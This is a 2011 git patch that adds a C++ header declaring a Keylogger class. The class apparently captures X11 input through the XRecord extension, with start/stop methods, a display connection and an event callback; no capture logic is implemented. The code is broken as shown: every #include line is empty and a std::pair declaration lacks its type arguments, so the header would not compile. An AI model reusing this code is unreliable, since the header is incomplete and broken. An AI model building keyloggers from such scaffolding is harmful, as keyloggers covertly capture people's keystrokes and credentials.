From 00701af646de99bf0c7b0d16a29edcaa4707b3e8 Mon Sep 17 00:00:00 2001 From: Vianney Bouchaud Date: Thu, 6 Oct 2011 19:06:28 +0200 Subject: base-class non-usable --- includes/Keylogger.hpp | 71 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 includes/Keylogger.hpp (limited to 'includes') diff --git a/includes/Keylogger.hpp b/includes/Keylogger.hpp new file mode 100644 index 0000000..91f5a71 --- /dev/null +++ b/includes/Keylogger.hpp @@ -0,0 +1,71 @@ +// +// Keylogger.hpp for Keylogger clas in /home/vianney +// +// Made by Vianney Bouchaud +// Login +// +// Started on Wed Oct 5 13:59:20 2011 Vianney Bouchaud +// Last update Thu Oct 6 19:04:04 2011 Vianney Bouchaud +// + +#ifndef __KEYLOGGER_HH__ +# define __KEYLOGGER_HH__ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +struct CallbackClosure { + Display *ctrlDisplay; + Display *dataDisplay; + int curX; + int curY; + void *initialObject; +}; + +typedef union { + unsigned char type; + xEvent event; + xResourceReq req; + xGenericReply reply; + xError error; + xConnSetupPrefix setup; +} XRecordDatum; + +class Keylogger { +public: + Keylogger(); + ~Keylogger(); + void start(); + void stop(); + void processData(); + bool xConnect(std::string displayName); + +private: + std::string m_displayName; + CallbackClosure userData; + std::pair recVer; + XRecordRange *recRange; + XRecordClientSpec recClientSpec; + XRecordContext recContext; + + void setupRecordExtension(); + static std::string eventCallback(XPointer priv, XRecordInterceptData *hook); +}; + +#endif /* !__KEYLOGGER_HH__ */ -- cgit v1.2.3-24-g4f1b